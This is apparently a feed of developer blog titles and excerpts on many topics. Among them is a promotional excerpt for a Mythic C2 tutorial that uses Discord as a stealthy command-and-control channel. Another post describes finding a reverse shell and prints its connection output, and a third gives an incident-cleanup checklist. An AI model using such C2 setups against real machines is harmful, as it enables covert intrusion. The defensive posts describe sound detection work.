    There's this quiet myth in engineering that once you hit “senior,” you'll just know. You'll have all the answers, solve problems on the fly, and be the go-to for anything and everything. But here's the truth I've come to learn: I often prefer not to know. And honestly, I think that's part of why I landed the job I have today. During my technical interview, I hit a question I didn't quite have the answer to. Or maybe I did, somewhere buried in memory, but it didn't feel familiar enough to stand by. So I said what I genuinely felt: “I don't know.” I took a guess, made it clear that it was a guess, and when it turned out to be wrong, I followed up with curiosity: “So what's the actual answer?” That moment, I believe, said more about how I work than any correct response could have. Over the ye…  ( 4 min )
    I have something akin to writer's block. But it's not writer's block; it's a lack of inspiration. I want to write, but I have a huge lack of zeal or motivation to even try!! HELP!! 🥹
    A post by Dumebi Okolo  ( 3 min )
    Best Machine Translation Software for Enterprises
    Machine translation software is one of the best productivity tools you could use for translating on behalf of an enterprise. To get the most out of machine translation, it’s important to choose a software application that best enhances your productivity with additional functionality. After all, using a standalone machine translation engine on its own (such as located at Google.com/Translate) won’t do much more than provide you with raw neural translation. In other words, there’s often no way within the application to efficiently improve the output quality — which is never as good as human translation. To make a decision on the best machine translation software system for you, it’s imperative to learn about the most important components of any translation management system. A translation ma…  ( 8 min )
    We've Been Hacked!
    Billions of blistering barnacles! One of our ships has been boarded. Follow these steps to quarantine, cleanse, and restore your project before the kraken strikes again! Quarantine files and database. Backup everything (files + DB). Scan for suspicious files and keywords. Reset all credentials (DB, admin, server). Restore from Git or a clean backup. Reapply client modifications/uploads. Scan, verify, and test thoroughly. # Archive the project tar -zcf hacked-project.tar.gz /home/project/web/staging/ # Move project to quarantine (safe harbor) mkdir -p /home/_quarantine/project mv /home/project/* /home/_quarantine/project/ # Backup database mysqldump --add-drop-table -u "" -p"" projectdb \ > /home/_quarantine/project/hacked-project.sql Restore any client-uploaded files or DB entries (if we don’t have a clean backup). clamscan -ri --log=last-scan.txt /home/_quarantine/project/web/staging Search for sketchy keywords: # If ack isn’t installed: apt-get install ack-grep ack suspiciouskeyword Reset all passwords: mysql -u root -p -e \ "ALTER USER ''@'localhost' IDENTIFIED BY ''; FLUSH PRIVILEGES;" Update all software (WordPress, plugins, Composer deps, system packages). # Clean Git working tree git clean -n # Preview git clean -f # Execute if safe git reset --hard && git pull # Clear caches rm -rf storage/framework/cache/* tmp/* # Reinstall dependencies composer install # Move project back to production mv /home/_quarantine/project/* /home/project chown -R www-data:www-data /home/project Scan again: clamscan -ri --log=last-scan.txt /home/project/web/staging ack suspiciouskeyword Test all functionality. Check logs for suspicious requests. Celebrate with a liter of rum. 🥃  ( 3 min )
    𝗦𝗶𝗴𝗻𝗮𝗹𝗥 𝘀𝘂𝗽𝗽𝗼𝗿𝘁𝘀 𝘁𝗿𝗶𝗺𝗺𝗶𝗻𝗴 𝗮𝗻𝗱 𝗡𝗮𝘁𝗶𝘃𝗲 𝗔𝗢𝗧
    My SignalR app now starts in 180ms — thanks to a 25MB AOT binary. I replaced the .NET runtime with a 25MB SignalR binary and dropped cold starts to 180ms. ⚡ Turns out, Native AOT in .NET 9 isn’t just for console apps anymore. Most real-time .NET apps ship bloated containers, thinking SignalR needs the full runtime. That’s what we believed… until customer complaints started piling up. Our SignalR-based Azure Functions were slow. Startup took 2.3s, memory use hit 150MB, and image sizes ballooned to 180MB. Deployments were clean, but performance was painful. Then we tried trimming + Native AOT + minimal API hosting. The result? A single 25MB self-contained binary, 45MB RAM usage, 180ms startup. Cold starts in our Azure Functions dropped significantly, and image sizes shrank by 85%. Native AOT is a game-changer for real-time .NET apps. 💭 Are you still shipping full .NET runtimes for SignalR apps — or have you tried going fully native? DotNet #SignalR #NativeAOT #Developers #SoftwareDeveloper #Performance #CloudComputing #TechTips #Programming #WebDevelopment  ( 3 min )
    Simple reactivity in React with MobX
    Hello everyone, I’d like to share one of the most convenient ways to work with reactive data in a React environment using MobX. This article focuses on diving into and getting acquainted with MobX in the React ecosystem. If that sounds useful and interesting, then keep reading :) Working with reactivity in React and handling reactive data is, in my view, always a rather labor-intensive process. Let me explain why… All state in React has to be wrapped in use hooks, and we need various React wrappers to manage re-renders. For example: const App = () => { const [input, setInput] = useState(''); useEffect(() => { // do something }, [input]); return ( setInput(e.target.value)} /> ) } const Child = memo(() => {…  ( 5 min )
    The Awesome AI Coding Tools Repo Has a New Home — and a Bigger Mission
    A few weeks ago, I launched Awesome AI Coding Tools — a curated list of the most powerful AI tools for developers. In just the first week, the repo earned 100+ stars, quickly growing into a go-to resource for devs looking to level up their workflows with AI. It’s been exciting to see contributions, shoutouts, and new tools added by the community. But that was just the beginning. AI For Developers Originally hosted under my personal account (tokyo-dal), the repo has now officially moved to: 👉 github.com/ai-for-developers/awesome-ai-coding-tools This move is more than just a rename — it’s the start of a broader initiative: AI For Developers. Scalability: I’m building more than a list — I’m building a hub for AI-powered development tools, guides, and community. Credibility: An organization-level repo signals this is an open, growing project — not just a solo side hustle. Community-first vision: I want to make room for contributors, maintainers, and AI-curious developers to shape the future of this resource. Nothing breaks. But here's what’s coming next: ✅ More frequent updates: New tools added weekly Categories & tags: To make discovery easier Starter kits & templates: Get devs up and running fast Open contribution guidelines: So anyone can help improve the list Community discussions: Via GitHub Discussions and maybe Discord? This repo is just the first piece of the puzzle. I’m working on launching AI For Developers as a platform — a home for: AI-powered dev tool reviews & comparisons Practical tutorials (from testing to debugging with AI) Real-world use cases A growing developer community If you want to follow the journey, contribute, or suggest ideas, now’s the time to jump in: 🔗 github.com/ai-for-developers/awesome-ai-coding-tools If you’ve used a cool AI tool that’s not in the list — submit a PR! And if you’ve found value in the list so far, I’d love it if you shared it with your network. Let’s build the future of AI-powered development — together.  ( 4 min )
    10 AI Skills Companies Are Looking for in 2025
    In an age which is ruled by technology, Artificial Intelligence (AI) is more than just a buzzword. It’s a strategic necessity. With 2025 just over the horizon, the need for professionals who grok AI is growing in every corner of business, whether it be in finance, health care, retail, logistics, and beyond. But here’s the thing: it’s not enough to understand how AI works, it’s about knowing the specifically right AI skills that companies are actively recruiting for right now. So, which must-have skills are those exactly? And how can you present yourself as the AI expert that companies can’t pass up? Let’s make a trip down to the list of top 10 AI skills company scouts for by 2025, with examples and insights that count. In 2025, Machine Learning will continue to be the heart of AI adoption.…  ( 7 min )
    How to Install Docker Engine on Windows Server 2025 VPS (No Hyper-V)
    Running Docker on a Windows Server 2025 VPS can be tricky—especially without Hyper-V or GUI support. Here’s a minimal, working way to get Docker Engine running for Windows containers only. Most VPS platforms don’t support nested virtualization, so trying to install Hyper-V leads to this error: Hyper-V cannot be installed: The processor does not have required virtualization capabilities. That rules out Linux containers. But you can still run Windows containers using Docker Engine directly. Download and extract Docker Invoke-WebRequest -Uri "https://download.docker.com/win/static/stable/x86_64/docker-20.10.24.zip" -OutFile "$env:TEMP\docker.zip" Expand-Archive -Path "$env:TEMP\docker.zip" -DestinationPath "C:\Program Files\Docker" Add Docker to system PATH [Environment]::SetEnvironmentVariable("Path", $env:Path + ";C:\Program Files\Docker", [System.EnvironmentVariableTarget]::Machine) Register and start the Docker service & 'C:\Program Files\Docker\dockerd.exe' --register-service Start-Service docker Set Docker to use Windows containers docker context use default Test with a Windows container docker run mcr.microsoft.com/windows/nanoserver:ltsc2022 cmd /c echo Hello from Docker That’s it. This setup skips broken PowerShell providers and avoids Docker Desktop entirely. Ideal for headless VPS setups or automation scripts.  ( 3 min )
    Make to n8n 🙌
    Migrating from Make.com to n8n: Lessons Learned & Flow Design Tips Ali Farhat ・ Jul 29 #n8n #makecom #migration #automation  ( 2 min )
    Migrating from Make.com to n8n: Lessons Learned & Flow Design Tips
    Why Migrate from Make.com to n8n Make.com (formerly Integromat) is ideal for quick automation builds. But when workflows become business-critical, developers need more control, transparency, and flexibility. That’s where n8n shines. n8n advantages include: Open-source architecture with Git-based JSON workflows Execution transparency and customizable error handling Flexible hosting (cloud, Docker, on-prem) Extendable via custom nodes and JavaScript logic You can read our full migration guide here: https://scalevise.com/resources/make-to-n8n-migration-guide/ Start with an overview of your current scenarios. Document: Trigger types (Webhooks, Schedulers) Module complexity (Routers, Filters, Iterators) Data sources (Airtable, HTTP APIs, Google Sheets) Output channels (Slack, Email, CMS) …  ( 5 min )
    Parametric vs Nonparametric Tests: Which One Should You Use for Your Data?
    When working with data, one of the first questions you’ll face is: What kind of statistical test should I use? The answer often lies between a parametric and non parametric test—two fundamental approaches to data analysis. Parametric tests (like t-tests and ANOVA) are powerful and precise. They assume your data is normally distributed, has equal variances, and is measured on an interval or ratio scale. When those assumptions are met, parametric tests deliver strong, reliable results. But let’s face it—real-world data isn’t always that neat. That’s where nonparametric tests come in. These are your flexible, assumption-light alternatives. Whether your data is skewed, ordinal, or doesn’t meet normality, nonparametric methods like the Mann-Whitney U or Kruskal-Wallis test step up to the challenge. So what’s the difference between parametric and non parametric test methods? Simply put: parametric tests require structure but offer more power, while nonparametric tests work on a broader range of data types but may be slightly less precise. TL;DR: Use nonparametric tests if your data is messy, ordinal, or doesn’t follow assumptions. Choosing the right one = more accurate insights. Understanding these tests is essential for developers, data analysts, and researchers. Make sure your next analysis starts on the right foot.  ( 3 min )
    Handling Bot Traffic with SafeLine WAF
    Bot traffic poses a growing threat to businesses and web applications. While some bots serve useful purposes (like search engine crawlers), malicious bots can disrupt services, steal data, conduct fraud, or scrape content. SafeLine provides an intelligent and cost-effective solution to help organizations detect and block unwanted bot traffic, ensuring performance and security. Bot traffic is generated by automated scripts rather than human users. It can be broadly classified into two types: Good Bots: Includes legitimate bots like Googlebot and Bingbot that index content or support services such as monitoring. Bad Bots: Includes harmful bots used for: Content scraping Credential stuffing DDoS attacks Click fraud Price scraping Malicious bots often mimic human behavior, making them difficu…  ( 4 min )
    Kubernetes Foundations - Architecture and Core Components
    Kubernetes has become a foundational system for modern cloud-native infrastructure, orchestrating containers at scale across industries, from e-commerce to fintech. Born from Google's internal system, Borg, Kubernetes inherits decades of lessons in managing global-scale applications like Gmail and Google Cloud Engine (GCE). Google's contributions, such as cgroups (introduced to the Linux kernel in 2007) and Linux namespaces, laid the groundwork for containerization technologies that underpin modern runtimes. Kubernetes is a distributed orchestration platform that manages containerized applications across a cluster of control plane and worker nodes. Control plane(s) and worker node(s). Operators (controllers). Services. Pods of containers. Namespaces and quotas. Network and policies (often …  ( 12 min )
    Making REST Microservices Resilient: Bulkhead, Retry & Circuit Breaker in Practice
    Why REST is a good starting point? When starting with a microservice, REST is often the goto approach, and for a good reason. Simplicity: Its simplicity allows teams to set up communication between services easily without needing to set up complex infrastructures. Faster debugging: REST is also widely understood, making it easy for developers to jump in, read each other's code and debug using familiar tools like Postman. Faster feature delivery: For smaller team this mean they can deliver more features without having to have operational overload of maintaining messaging systems or brokers. At first glance, REST-based communication between service feels straight forward. But as the system grows in complexity and traffic, naive implementation can quickly become a bottleneck. Synchronus de…  ( 6 min )
    Multi-stage Builds in Docker
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    Stop Fetching Data in useEffect: Redux Edition
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    Day-68 Understanding Abstraction in Java(using abstract classes)
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    Can Algorithms Be Ethical? The Hidden Bias in Automated Financial Compliance
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    Toptal GitHub Hacked: 10 Malicious npm Packages Hit 5,000 Downloads
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    Why Database Indexes Keep Coming Up in My Performance Work
    I bounce between data pipelines, API fires, and new features all week, and there’s this one thing that keeps biting us. Slow pages. And 8 times out of 10 it’s the same root cause: we forgot the right index. We had this analytics dashboard—we tuned the React, cached the API, CDN was spotless. Still slow. The query behind it? joining big tables and scanning like theres no tomorrow. No index on the join keys. Oops. A quick demo to prove I’m not just ranting CREATE TABLE orders ( Before indexes (avg): Customer lookup: 6.11 ms Status filter: 8.47 ms Date range: 6.73 ms After indexes: Customer lookup: 0.88 ms (~7x faster) Status filter: 2.41 ms (~3.5x) Date range: 1.48 ms (~4.5x) Note: these are from my laptop which is also running Docker, two IDEs, Slack, and that Electron app we dont talk abo…  ( 4 min )
    Top 5 AI Hallucination Detection Tools
    Introduction Artificial Intelligence (AI) is not just making waves—it’s reshaping the way businesses and teams operate, innovate, and address complex challenges. Yet, despite the remarkable capabilities of current models, they can occasionally falter. Sometimes, an AI outputs convincing but incorrect information—a phenomenon known as a “hallucination.” In critical sectors like healthcare, finance, and customer service, these errors are more than just confusing—they risk reputational harm or far worse. For AI developers and product leads, tackling hallucinations requires vigilant monitoring and robust corrective strategies. To help you build more reliable AI, we examine five standout hallucination detection tools, comparing their features, integration capabilities, pricing, and target use…  ( 5 min )
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    Just published a new blog on Blue-Green Deployment for Next.js apps using AWS EC2, CodeDeploy, and Auto Scaling! Learn how to achieve zero-downtime deployments with a scalable, production-grade CI/CD pipeline on AWS. Perfect for teams looking to level up
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    STARTING MY WEB DEV JOURNEY
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    Why Most Dev Teams Hate Project Management
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    Remotely Control Any Computer with Mythic C2 and Discord | Step-by-Step Ethical Hacking Guide
    In this advanced red team tutorial, I’ll show you how to remotely control any PC using the powerful Mythic C2 framework integrated with Discord as a stealthy command and control (C2) channel. This guide is for educational and ethical hacking purposes only. 🧠 What You’ll Learn: Mythic C2 and how it works 🛠️ Key Features: Modular agent support (Apfell, Poseidon, Electra, etc.) ✔️ Advantages: Low detection rate on traditional monitoring systems ️ Step-by-Step Setup: Mythic C2 + Discord Integration 🎥 Watch Full Tutorial on YouTube: 🔗 Click here to watch it directly 🛠 Summary of Steps: Cybersecurity students ✅ Always use these tools in a controlled lab with explicit permission. 🚀 Final Thoughts 🔥 It’s a great project if you’re looking to build advanced skills in offensive security while staying within ethical boundaries. 👉 If you learned something new, don’t forget to like, comment, and subscribe on YouTube! 🔗 Watch the full video here 🧠 What You’ll Learn: 🛠️ Key Features: Modular agent support (Apfell, Poseidon, Electra, etc.) ✔️ Advantages: Low detection rate on traditional monitoring systems ⚙️ Step-by-Step Setup: Mythic C2 + Discord Integration 🎥 Watch Full Tutorial on YouTube: 🔗 Click here to watch it directly 🛠 Summary of Steps: Cybersecurity students ✅ Always use these tools in a controlled lab with explicit permission. 🚀 Final Thoughts 🔥 It’s a great project if you’re looking to build advanced skills in offensive security while staying within ethical boundaries. 👉 If you learned something new, don’t forget to like, comment, and subscribe on YouTube! 🔗 Watch the full video here CyberSecurity #RedTeam #MythicC2 #EthicalHacking #RemoteAccess #DiscordBot #HackTheBox #CTF  ( 5 min )
    Enums and Pattern Matching in Rust: A Deep Dive into Type Safety and Control Flow
    After diving deep into Rust's ownership model, the next crucial concept that every Rust developer must master is enums and pattern matching. These features work together to create one of Rust's most powerful type safety mechanisms, allowing you to express complex data relationships while ensuring compile-time correctness. In this comprehensive guide, we'll explore how Rust's enums go far beyond simple constants, how pattern matching provides exhaustive control flow, and why this combination makes Rust code both safe and expressive. If you're coming from languages like C or Java, you might think of enums as simple named constants. Rust enums are fundamentally different—they're algebraic data types that can hold data and represent multiple possible states in a type-safe manner. Let's start w…  ( 8 min )
    How .NET and Azure Work Together for Cloud-Native Apps
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    Sapphire 101: A Technical Workshop For Blockchain Devs Part 2
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    NekoCode C++: Code Analyzer for Claude Code - Version Up!
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    Computation has come a long way, and blockchain technology has made critical contribution to this evolution. Ethereum’s Virtual Machine (EVM), which is the base on which decentralized applications (dApps) and decentralized internet (web3) are built, needed to revolutionize computation and storage, and they did. But the missing piece of the puzzle? Privacy. So, what if we could encrypt data and store it privately? Immediate next question would be - can the nodes compute in a distributed environment? Short answer: Yes, with Trusted Execution Environment (TEEs). This kicked off the journey from a transparent EVM to a confidential EVM system. The benefits become immediately apparent: private compute private storage randomness end-to-end encryption In this series, we will cover Sapphire 101 a…  ( 4 min )
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    Devise with Ruby on Rails 💡
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    C# algorithm
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    Building Medical AI – Technical Architecture Lessons
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    HTTP Logging Middleware Tips That Actually Work in ASP.NET Core
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    Setting Up Your Java Development Environment (JDK & IDEs): A Beginner’s Guide
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    Entre lineas y latidos
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    What is Java? Understanding Its Core Concepts and History
    Java is a powerful, versatile, and widely used programming language that has stood the test of time, becoming a cornerstone of modern software development. If you’re just starting out, understanding what Java is—along with its core concepts and history—can give you the foundation to build robust, scalable, and cross-platform applications. A Brief History of Java Java was created in the early 1990s by James Gosling and a team of engineers at Sun Microsystems (now owned by Oracle). The language was officially released in 1995. Java was designed to be simple, portable, and reliable, with a core philosophy of "write once, run anywhere." This means that Java code can be written on one platform and run on virtually any device that has a Java Virtual Machine (JVM). Key Milestones in Java’s Journe…  ( 4 min )
    The Ultimate Fusion: Linux, Ubuntu, and Cybersecurity | by Faruk Ahmed | Jun, 2025
    Member-only story -- Share Introduction: In today’s digital landscape, cybersecurity is no longer optional — it’s a necessity. With cyber threats evolving at an unprecedented rate, individuals and organizations must adopt robust, secure, and flexible operating systems. Linux, particularly Ubuntu, stands out as a powerhouse for cybersecurity. This blog explores why combining Linux (Ubuntu) with cybersecurity best practices creates an unbeatable defense against modern threats. Linux is the backbone of cybersecurity for several reasons: ✅ Open-Source Nature — Transparency means vulnerabilities are spotted and patched faster.✅ Granular Control — Root access and customizable security modules (like SELinux, AppArmor).✅ Minimal Attack Surface — Fewer malware threats compared to Windows.✅ Powerful Command Line — Automation, scripting (Bash, Python), and penetration testing tools. Ubuntu, a Debian-based Linux distro, is one of the most user-friendly yet powerful choices for security professionals. Read Full Blog on Medium Here  ( 3 min )
    The Linux Service That Almost Let Attackers Slip In (And How I Found It Just in Time) | by Faruk Ahmed | Jun, 2025
    Member-only story -- Share Intro: Even the most hardened Linux systems can fall victim to misconfigured or forgotten services. In one case, a low-priority daemon was the weak link in my server’s armor. Here’s how I discovered it — and what you can learn from it. While monitoring server health, I noticed unexplained CPU usage. No cron jobs were running, and user activity was low. Something didn’t add up. ✅ Action Taken: top I found an obscure service — rpcbind—consuming resources unexpectedly. I traced the service startup: sudo systemctl status rpcbindsudo systemctl list-dependencies rpcbind It had been enabled by a package install I’d done earlier — but I never used it. I confirmed the service was listening on a public interface: sudo ss -tulnp This exposed my server to potential remote exploits. An open door I didn’t know… Read Full Blog on Medium Here  ( 3 min )
    How I Use aide to Detect Unauthorized Changes on My Linux and Ubuntu Servers | by Faruk Ahmed | Jul, 2025
    Member-only story -- Share Intro: One of the biggest risks on any Linux system is a silent change — a backdoor quietly added, a config file altered, or a binary replaced. That’s why every server I deploy today includes one essential tool: AIDE (Advanced Intrusion Detection Environment). It’s like Tripwire, but free, fast, and simple to configure. In this blog, I’ll walk you through exactly how I use AIDE to detect unauthorized changes — before they become real threats. Attackers often leave behind tiny traces: A modified binary like /bin/ls or sshd A new cron job A script dropped into /tmp, /var/tmp, or /dev/shm These changes usually don’t cause alerts unless you’re actively monitoring them. That’s where AIDE comes in. # Ubuntusudo apt updatesudo apt install aide # Red Hat / CentOS / AlmaLinuxsudo yum install aide After install, run: sudo aideinit Read Full Blog on Medium Here  ( 3 min )
    How I Harden My Linux Server in 30 Minutes After Every Fresh Install (Ubuntu & Red Hat) | by Faruk Ahmed | Jul, 2025
    Member-only story -- 5 Share Intro: Whether it’s a VM, a fresh cloud server, or a bare-metal deployment — your new Linux server is a blank slate and a target. Before deploying anything, I now follow a fast but effective checklist to lock it down within 30 minutes. In this post, I’ll walk through my routine step-by-step. # Ubuntusudo apt update && sudo apt upgrade -y # Red Hatsudo dnf update -y ✅ Why? Exploits often target unpatched services. Always start clean. sudo adduser adminusersudo usermod -aG sudo adminuser # Ubuntusudo usermod -aG wheel adminuser # Red Hat ✅ Then disable direct root SSH access. sudo nano /etc/ssh/sshd_config# Set:PermitRootLogin no Ubuntu: sudo apt install unattended-upgradessudo dpkg-reconfigure --priority=low unattended-upgrades Red Hat (with dnf-automatic): sudo dnf install… Read Full Blog on Medium Here  ( 4 min )
    I got 99 problems, but a breach ain’t one
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    From Merge Conflicts to Team Harmony: AI Mediation for Dev Teams
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    Day 48: When College Becomes an Exercise in Patience
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    How I Found a Hidden Reverse Shell Running as www-data (And What I Did About It) | by Faruk Ahmed | Jul, 2025
    Member-only story -- 3 Share Intro: Sometimes the most dangerous threats aren’t brute-force attacks or zero-day exploits. They’re quiet, persistent footholds hiding in plain sight. I once discovered a reverse shell silently running under the www-data user on my Ubuntu web server. Here’s how I found it — and exactly what steps I took to clean it up. I noticed unusually high outbound traffic from the web server, even though there weren’t many visitors. My CPU usage was fine, but something wasn’t right. ps aux | grep www-data This revealed a process like: www-data 1234 0.0 0.1 23456 3456 ? Ss 10:12 0:00 /bin/bash -i That’s not normal. The www-data user (used by Apache/Nginx) shouldn’t be running interactive shells. I ran: sudo lsof -i -nP | grep ESTABLISHED Output: bash 1234 www-data 3u IPv4 123456 0t0 TCP 192.168.1.10:4242 -> 103.82.121.45:4444 (ESTABLISHED) Read Full Blog on Medium Here  ( 4 min )
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    First Contributions: learn how to contribute to open source projects
    I followed the hands-on tutorial in the Readme of the first contributions and made my first pull request to the same repo. / first-contributions Read this in other languages. First Contributions This project aims to simplify and guide the way beginners make their first contribution. If you are looking to make your first contribution, follow the steps below. If you're not comfortable with command line, here are tutorials using GUI tools. If you don't have git on your machine, install it. Fork this repository Fork this repository by clicking on the fork button on the top of this page. This will create a copy of this repository in your account. Clone the repository Now clone the forked repository to your machine. Go to your GitHub account, open the forked repository, click on the code button, then on SSH tab and then click the copy url to clipboard icon. Open a terminal and run the following git command: git clone "url you just copied" where "url you just copied" (without the… View on GitHub What a great start for me to contribute to open-source repositories and projects. Being able to be part of innovations by writing documentation, refactoring code, solving issues, and more. Now, my main goal is to understand how these open-source flows around to avoid conflicts with the Authors. Another goal to be started.  ( 4 min )
    ANN: omniauth-identity v3.1.4
    Photo (cropped) by Mike Hindle on Unsplash 3.1.4 - 2025-07-28 TAG: v3.1.4 COVERAGE: 92.06% -- 348/378 lines in 15 files BRANCH COVERAGE: 79.49% -- 62/78 branches in 15 files 44.44% documented # Added More documentation Tracking maintainability and coverage with QLTY.sh Documentation site https://omniauth-identity.galtzo.com Test against bson v5.1.1 Test against locked and unlocked, runtime and development, dependencies Changed gemspec metadata Test against latest bundler Develop on ruby@3.4.5 Switch to Appraisal2 What's Changed (autogenerated) ➕ appraisal2 by @pboling in https://github.com/omniauth/omniauth-identity/pull/155 💚 Test against committed Gemfile.lock by @pboling in https://github.com/omniauth/omniauth-identity/pull/156 👷 Lock/Unlock Deps Pattern by @pboling in https://github.com/omniauth/omniauth-identity/pull/157 ⬆️ bson v5.1.1 by @pboling in https://github.com/omniauth/omniauth-identity/pull/158 Full Changelog: https://github.com/omniauth/omniauth-identity/compare/v3.1.3...v3.1.4  ( 3 min )
    Demystifying the JS Event Loop: A ByteDance Interview Question to Deeply Understand async/await, Promise, and RAF
    🚀 Explore more React Hooks possibilities? Visit www.reactuse.com for complete documentation and install via npm install @reactuses/core to supercharge your React development efficiency! In front-end development, JavaScript's Event Loop mechanism is crucial for understanding asynchronous programming and optimizing performance. It's not only a frequently asked interview question but also the foundation for writing efficient, non-blocking code. However, many developers only have a superficial understanding of it, especially when modern asynchronous APIs like async/await, Promise, and requestAnimationFrame are intertwined, making their execution order often confusing. Today, we will delve into the mysteries of the JavaScript Event Loop through a classic ByteDance interview question. This qu…  ( 10 min )
    Open Source, Open Minds: My Participation in TOSSCON @ Menporul Manadu
    I had the incredible opportunity to attend TOSSCON at Menporul Manadu, and it turned out to be a truly inspiring and eye-opening experience. The conference brought together a diverse group of tech enthusiasts, professionals, and students who shared a common passion for open-source technologies, innovation, and community learning. Throughout the event, I participated in various sessions that covered cutting-edge topics, interactive workshops, and thought-provoking panel discussions. I learned not only about emerging trends in technology but also about the importance of collaboration, sharing knowledge, and contributing to open-source communities. The speakers were experts from different domains who shared their real-world experiences, which motivated me to explore more in the fields of technology and software development. TOSSCON in Menporul Manadu wasn't just a conference—it was a platform that sparked curiosity, encouraged networking, and empowered us to think beyond boundaries.  ( 3 min )
    Programming on the Kiwi 3 Ultra: A Powerful Single-Board Computer with RK3568
    The Kiwi 3 Ultra is an impressive arm single-board computer (SBC) that packs serious performance into a compact form factor. Built around the Rockchip RK3568 system-on-chip (SoC) and featuring generous 32GB of LPDDR4 RAM along with 512GB of eMMC storage, this board offers developers a capable platform for a wide range of computing tasks. In this article, we'll explore programming on the Kiwi 3 Ultra and what makes it special. At the heart of the Kiwi 3 Ultra lies the Rockchip RK3568, a quad-core ARM Cortex-A55 processor that clocks up to 2.0GHz. This 64-bit SoC is built on a 22nm process and offers several notable features: CPU: 4x Cortex-A55 cores (ARMv8-A architecture) GPU: ARM Mali-G52 2EE, supporting OpenGL ES 1.1/2.0/3.2, Vulkan 1.1, and OpenCL 2.0 NPU: 0.8 TOPS AI accelerator for mac…  ( 5 min )
    Understanding Hoisting: How JavaScript Handles Declarations
    Example 1: Variable Hoisting with var console.log(x); // Output: undefined var x = 10; JavaScript hoists the declaration of x to the top (var x;), but not the value. So it's as if you wrote: var x; console.log(x); // undefined x = 10; But let and const do NOT hoist like var console.log(y); // ReferenceError let y = 5; greet(); // Output: Hello! function greet() { The entire function greet() is hoisted to the top.**  ( 3 min )
    Modern Systems Are More Fragile: The more intricate a system is, the more potential points of failure it can present
    Modern Systems Are More Fragile: The more intricate a system is, the more potential points of failure it can present In the world of technology, the pursuit of increasingly robust and comprehensive functionalities has led to the development of systems of astonishing complexity. Paradoxically, this very complexity, often seen as a sign of advancement and capability, can be the Achilles' heel when it comes to security. The more intricate a system is, the more potential points of failure it can present, making it inherently more fragile and susceptible to attacks. Every additional line of code, every new integration, can introduce a vulnerability that goes unnoticed. The reality is that few modern systems are built from scratch. The norm today is the extensive use of third-party components…  ( 4 min )
    Alternando navegadores padrão no macOS via terminal
    Mudar o navegador padrão no macOS geralmente envolve abrir as configurações do sistema e selecionar manualmente o browser desejado. Mas e se você quiser alternar entre navegadores rapidamente via terminal? Foi exatamente essa necessidade que me levou a buscar uma solução simples e eficiente — especialmente alternando entre Opera GX e Opera Air. Neste artigo, vou te mostrar como fazer isso usando uma ferramenta leve chamada defaultbrowser, além de explicar uma limitação importante do macOS e como contorná-la (com um toque de automação, se necessário). No meu fluxo de trabalho, uso navegadores diferentes para contextos distintos. O Opera GX, por exemplo, uso para tarefas mais intensas ou perfis específicos de trabalho, enquanto o Opera Air serve como um navegador limpo para testes ou navegaç…  ( 4 min )
    How to Deploy Avalanche Validator Nodes (Local Network) – Step-by-Step Guide
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    Master JavaScript String Search: The Ultimate Guide for Developers
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    ANN: rspec-stubbed_env v1.0.3
    https://github.com/pboling/rspec-stubbed_env https://rubygems.org/gems/rspec-stubbed_env COVERAGE: 100.00% -- 73/73 lines in 5 files BRANCH COVERAGE: 100.00% -- 10/10 branches in 5 files 85.71% documented More documentation Tracking maintainability and coverage with QLTY.sh Documentation site https://rspec-stubbed-env.galtzo.com gemspec metadata  ( 3 min )
    Why bridges keep getting hacked & Why Modular Interoperability is the way out
    The multi-chain future promised seamless experiences across different blockchains. In reality, we got a patchwork of fragile bridges — a hacker’s favorite target. Having spent years building distributed systems that process billions of dollars in value, I’ve watched this issue evolve from a theoretical concern to a $2.8B nightmare. Over $2.8 billion has been stolen through bridge hacks, accounting for nearly 40% of total Web3 exploit losses — and the trend hasn’t slowed. But here’s the key insight: bridge hacks are not an inevitable cost of going multi-chain. They’re a symptom of an outdated approach to interoperability — one that treats cross-chain communication as an afterthought rather than foundational infrastructure. The real solution isn’t building better bridges — it’s eliminating t…  ( 6 min )
    Why Most Accounting Systems Suck (and How to Not Build One That Does)
    You know what's everywhere? Accounting systems that seem polished until real use hits—suddenly one import, one concurrency spike, or a small discount logic glitch and it all falls apart. These systems weren’t built by engineers who understand accounting—they were assembled by lazy developers who treated it like a CRUD app. "It works for our MVP" — translation: we didn’t plan for real-world use. Most platforms fail not because accounting is inherently hard—but because lazy devs build them like to-do apps. Common mistakes: Over-relying on auto-sync logic Ignoring precision and audit trails Treating CRUD as sufficient Skipping proper state management "Accounting is just CRUD with tables, right?" Even big-name systems and legacy platforms have crashed, leaked data, or caused massive business d…  ( 4 min )
    Using GCP Load Balancer to Handle 301 Redirects to Other Domains
    Some of the main use cases of using a load balancer include setting up a static IP for use with a custom domain, or by dispersing traffic across multiple backend services. A possibly less common use-case however is to use the balancer to handle 301 redirects in cases where your web application has undergone a domain migration. Here's how I set this up: In the case of a domain migration, you must route the old domain(s) to a load balancer. I choose to use the same load balancer as used for my backend service to centralise the logic, else you may need a 'dummy' backend that is not reached. Assuming you already have an application load balancer set up in Google (if not, see here), we can jump straight into editing the routing rules of the load balancer Keep your existing routing rules, inc…  ( 4 min )
    Is Data Science is machine learning?
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    Title: Creating the Perfect Home Office: A Step-by-Step Guide (March 2025)
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    Day 8: Shell Scripting Challenge
    ✅ Task 1: Comments in Bash Scripts Create a script named greet_user.sh and add comment: #!/bin/bash # This script greets the user with a welcome message # Ask for the user's name and store it in a variable read -p "Enter your name: " name # Display a personalized greeting echo "Hello, $name! Welcome to the #90DaysOfDevOps Challenge!" # End of script Explanation: #!/bin/bash tells the system this is a Bash script. Lines starting with # are comments — they do not get executed, and are used to explain what each part of the script does. Using comments is a best practice in scripting to make your code ✅ Task 2: Using echo in Bash #!/bin/bash # This script displays a motivational message echo "I am one step closer to becoming a DevOps Engineer!" Explanation: echo is used…  ( 5 min )
    Title: The Future of Gaming: How AI is Revolutionizing the Industry
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    🪟 I Love Linux, But I'm Stuck on Windows: Terminal Commands Every Dev Should Know
    💡 Yes, I’m a Linux fan too. But sometimes life (or work) throws you into Windows. Don’t panic - we got this. If you're a developer who misses the terminal magic of Linux, welcome to the club. But here's the thing: Windows Terminal can be powerful too -if you know the right commands. In this guide, I’ll show you must-know commands for devs at all levels-junior, mid, and senior-so you can survive (and maybe even thrive) in Windows like a boss. Install and use the Windows Terminal (from the Microsoft Store). It supports tabs, themes (Dracula anyone?), and multiple shells (like PowerShell, CMD, and WSL). Command What it does cd Change directory dir List files (like ls) cls Clear screen (like clear) echo Print stuff to screen copy Copy files del Delete files mkdir Create dir…  ( 5 min )
    Title: The Future of Game Development: John Romero on the Rise of Indies
